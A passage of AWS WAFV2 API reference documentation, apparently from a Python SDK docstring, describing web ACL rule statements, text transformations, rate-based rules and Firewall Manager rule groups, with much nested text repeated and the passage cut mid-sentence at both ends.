User-Agent or Referer . This setting isn\'t case sensitive. Name (string) --The name of the query header to inspect. SingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) --The name of the query argument to inspect. AllQueryArguments (dict) --Inspect all query arguments. UriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) --Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) --Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) --You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. XssMatchStatement (dict) --A rule statement that defines a cross-site scripting (XSS) match search for AWS WAF to apply to web requests. XSS attacks are those where the attacker uses vulnerabilities in a benign website as a vehicle to inject malicious client-site scripts into other legitimate web browsers. The XSS match statement provides the location in requests that you want AWS WAF to search and text transformations to use on the search area before AWS WAF searches for character sequences that are likely to be malicious strings. FieldToMatch (dict) --The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) --The name of the query header to inspect. SingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) --The name of the query argument to inspect. AllQueryArguments (dict) --Inspect all query arguments. UriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) --Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) --Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) --You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. SizeConstraintStatement (dict) --A rule statement that compares a number of bytes against the size of a request component, using a comparison operator, such as greater than (>) or less than (<). For example, you can use a size constraint statement to look for query strings that are longer than 100 bytes. If you configure AWS WAF to inspect the request body, AWS WAF inspects only the first 8192 bytes (8 KB). If the request body for your web requests never exceeds 8192 bytes, you can create a size constraint condition and block requests that have a request body greater than 8192 bytes. If you choose URI for the value of Part of the request to filter on, the slash (/) in the URI counts as one character. For example, the URI /logo.jpg is nine characters long. FieldToMatch (dict) --The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) --The name of the query header to inspect. SingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) --The name of the query argument to inspect. AllQueryArguments (dict) --Inspect all query arguments. UriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. ComparisonOperator (string) --The operator to use to compare the request part to the size setting. Size (integer) --The size, in byte, to compare to the request part, after any transformations. TextTransformations (list) --Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) --Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) --You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. GeoMatchStatement (dict) --A rule statement used to identify web requests based on country of origin. CountryCodes (list) --An array of two-character country codes, for example, [ "US", "CN" ] , from the alpha-2 country ISO codes of the ISO 3166 international standard. (string) -- RuleGroupReferenceStatement (dict) --A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement. You cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. ARN (string) --The Amazon Resource Name (ARN) of the entity. ExcludedRules (list) --The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) --The name of the rule to exclude. IPSetReferenceStatement (dict) --A rule statement used to detect web requests coming from particular IP addresses or address ranges. To use this, create an IPSet that specifies the addresses you want to detect, then use the ARN of that set in this statement. To create an IP set, see CreateIPSet . Each IP set rule statement references an IP set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it. ARN (string) --The Amazon Resource Name (ARN) of the IPSet that this statement references. RegexPatternSetReferenceStatement (dict) --A rule statement used to search web request components for matches with regular expressions. To use this, create a RegexPatternSet that specifies the expressions that you want to detect, then use the ARN of that set in this statement. A web request matches the pattern set rule statement if the request component matches any of the patterns in the set. To create a regex pattern set, see CreateRegexPatternSet . Each regex pattern set rule statement references a regex pattern set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it. ARN (string) --The Amazon Resource Name (ARN) of the RegexPatternSet that this statement references. FieldToMatch (dict) --The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) --The name of the query header to inspect. SingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) --The name of the query argument to inspect. AllQueryArguments (dict) --Inspect all query arguments. UriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) --Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) --Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) --You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. RateBasedStatement (dict) --A rate-based rule tracks the rate of requests for each originating IP address, and triggers the rule action when the rate exceeds a limit that you specify on the number of requests in any 5-minute time span. You can use this to put a temporary block on requests from an IP address that is sending excessive requests. When the rule action triggers, AWS WAF blocks additional requests from the IP address until the request rate falls below the limit. You can optionally nest another statement inside the rate-based statement, to narrow the scope of the rule so that it only counts requests that match the nested statement. For example, based on recent requests that you have seen from an attacker, you might create a rate-based rule with a nested AND rule statement that contains the following nested statements: An IP match statement with an IP set that specified the address 192.0.2.44. A string match statement that searches in the User-Agent header for the string BadBot. In this rate-based rule, you also define a rate limit. For this example, the rate limit is 1,000. Requests that meet both of the conditions in the statements are counted. If the count exceeds 1,000 requests per five minutes, the rule action triggers. Requests that do not meet both conditions are not counted towards the rate limit and are not affected by this rule. You cannot nest a RateBasedStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. Limit (integer) --The limit on requests per 5-minute period for a single originating IP address. If the statement includes a ScopDownStatement , this limit is applied only to the requests that match the statement. AggregateKeyType (string) --Setting that indicates how to aggregate the request counts. Currently, you must set this to IP . The request counts are aggregated on IP addresses. ScopeDownStatement (dict) --An optional nested statement that narrows the scope of the rate-based statement to matching web requests. This can be any nestable statement, and you can nest statements at any level below this scope-down statement. AndStatement (dict) --A logical rule statement used to combine other rule statements with AND logic. You provide more than one Statement within the AndStatement . Statements (list) --The statements to combine with AND logic. You can use any statements that can be nested. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . The processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule. OrStatement (dict) --A logical rule statement used to combine other rule statements with OR logic. You provide more than one Statement within the OrStatement . Statements (list) --The statements to combine with OR logic. You can use any statements that can be nested. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . The processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule. NotStatement (dict) --A logical rule statement used to negate the results of another rule statement. You provide one Statement within the NotStatement . Statement (dict) --The statement to negate. You can use any statement that can be nested. ManagedRuleGroupStatement (dict) --A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups . You can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. VendorName (string) --The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group. Name (string) --The name of the managed rule group. You use this, along with the vendor name, to identify the rule group. ExcludedRules (list) --The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) --The name of the rule to exclude. Action (dict) --The action that AWS WAF should take on a web request when it matches the rule statement. Settings at the web ACL level can override the rule action setting. This is used only for rules whose statements do not reference a rule group. Rule statements that reference a rule group include RuleGroupReferenceStatement and ManagedRuleGroupStatement . You must specify either this Action setting or the rule OverrideAction setting, but not both: If the rule statement does not reference a rule group, use this rule action setting and not the rule override action setting. If the rule statement references a rule group, use the override action setting and not this action setting. Block (dict) --Instructs AWS WAF to block the web request. Allow (dict) --Instructs AWS WAF to allow the web request. Count (dict) --Instructs AWS WAF to count the web request and allow it. OverrideAction (dict) --The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement . Set the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings. In a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both: If the rule statement references a rule group, use this override action setting and not the action setting. If the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting. Count (dict) --Override the rule action setting to count. None (dict) --Don\'t override the rule action setting. VisibilityConfig (dict) --Defines and enables Amazon CloudWatch metrics and web request sample collection. SampledRequestsEnabled (boolean) --A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console. CloudWatchMetricsEnabled (boolean) --A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics . MetricName (string) --A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example "All" and "Default_Action." You can\'t change a MetricName after you create a VisibilityConfig . VisibilityConfig (dict) --Defines and enables Amazon CloudWatch metrics and web request sample collection. SampledRequestsEnabled (boolean) --A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console. CloudWatchMetricsEnabled (boolean) --A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics . MetricName (string) --A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example "All" and "Default_Action." You can\'t change a MetricName after you create a VisibilityConfig . Capacity (integer) --The web ACL capacity units (WCUs) currently being used by this web ACL. AWS WAF uses WCUs to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. AWS WAF calculates capacity differently for each rule type, to reflect the relative cost of each rule. Simple rules that cost little to run use fewer WCUs than more complex rules that use more processing power. Rule group capacity is fixed at creation, which helps users plan their web ACL WCU usage when they use a rule group. The WCU limit for web ACLs is 1,500. PreProcessFirewallManagerRuleGroups (list) --The first set of rules for AWS WAF to process in the web ACL. This is defined in an AWS Firewall Manager WAF policy and contains only rule group references. You can\'t alter these. Any rules and rule groups that you define for the web ACL are prioritized after these. In the Firewall Manager WAF policy, the Firewall Manager administrator can define a set of rule groups to run first in the web ACL and a set of rule groups to run last. Within each set, the administrator prioritizes the rule groups, to determine their relative processing order. (dict) --A rule group that\'s defined for an AWS Firewall Manager WAF policy. Name (string) --The name of the rule group. You cannot change the name of a rule group after you create it. Priority (integer) --If you define more than one rule group in the first or last Firewall Manager rule groups, AWS WAF evaluates each request against the rule groups in order, starting from the lowest priority setting. The priorities don\'t need to be consecutive, but they must all be different. FirewallManagerStatement (dict) --The processing guidance for an AWS Firewall Manager rule. This is like a regular rule Statement , but it can only contain a rule group reference. ManagedRuleGroupStatement (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups . You can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. VendorName (string) --The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group. Name (string) --The name of the managed rule group. You use this, along with the vendor name, to identify the rule group. ExcludedRules (list) --The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) --The name of the rule to exclude. RuleGroupReferenceStatement (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement. You cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. ARN (string) --The Amazon Resource Name (ARN) of the entity. ExcludedRules (list) --The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) --The name of the rule to exclude. OverrideAction (dict) --The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement . Set the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings. In a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both: If the rule statement references a rule group, use this override action setting and not the action setting. If the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting. Count (dict) --Override the rule action setting to count. None (dict) --Don\'t override the rule action setting. VisibilityConfig (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Defines and enables Amazon CloudWatch metrics and web request sample collection. SampledRequestsEnabled (boolean) --A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console. CloudWatchMetricsEnabled (boolean) --A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics . MetricName (string) --A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example "All" and "Default_Action." You can\'t change a MetricName after you create a VisibilityConfig . PostProcessFirewallManagerRuleGroups (list) --The last set of rules for AWS WAF to process in the web ACL. This is defined in an AWS Firewall Manager WAF policy and contains only rule group references. You can\'t alter these. Any rules and rule groups that you define for the web ACL are prioritized before these. In the Firewall Manager WAF policy, the Firewall Manager administrator can define a set of rule groups to run first in the web ACL and a set of rule groups to run last. Within each set, the administrator prioritizes the rule groups, to determine their relative processing order. (dict) --A rule group that\'s defined for an AWS Firewall Manager WAF policy. Name (string) --The name of the rule group. You cannot change the name of a rule group after you create it. Priority (integer) --If you define more than one rule group in the first or last Firewall Manager rule groups, AWS WAF evaluates each request against the rule groups in order, starting from the lowest priority setting. The priorities don\'t need to be consecutive, but they must all be different. FirewallManagerStatement (dict) --The processing guidance for an AWS Firewall Manager rule. This is like a regular rule Statement , but it can only contain a rule group reference. ManagedRuleGroupStatement (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups . You can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. VendorName (string) --The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group. Name (string) --The name of the managed rule group. You use this, along with the vendor name, to identify the rule group. ExcludedRules (list) --The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) --The name of the rule to exclude. RuleGroupReferenceStatement (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement. You cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. ARN (string) --The Amazon Resource Name (ARN) of the entity. ExcludedRules (list) --The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) --The name of the rule to exclude. OverrideAction (dict) --The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement . Set the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings. In a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both: If the rule statement references a rule group, use this override action setting and not the action setting. If the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting. Count (dict) --Override the rule action setting to count. None (dict) --Don\'t override the rule action setting. VisibilityConfig (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Defines and enables Amazon CloudWatch metrics and web request sample collection. SampledRequestsEnabled (boolean) --A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console. CloudWatchMetricsEnabled (boolean) --A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics . MetricName (string) --A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example "All" and "Default_Action." You can\'t change a MetricName after you create a VisibilityConfig . ManagedByFirewallManager (boolean) --Indicates whether this web ACL is managed by AWS Firewall Manager. If true, then only AWS Firewall Manager can delete the web ACL or any Firewall Manager rule groups in the web ACL. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'WebACL': { 'Name': 'string', 'Id': 'string', 'ARN': 'string', 'DefaultAction': { 'Block': {}, 'Allow': {} }, 'Description': 'string', 'Rules': [ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': 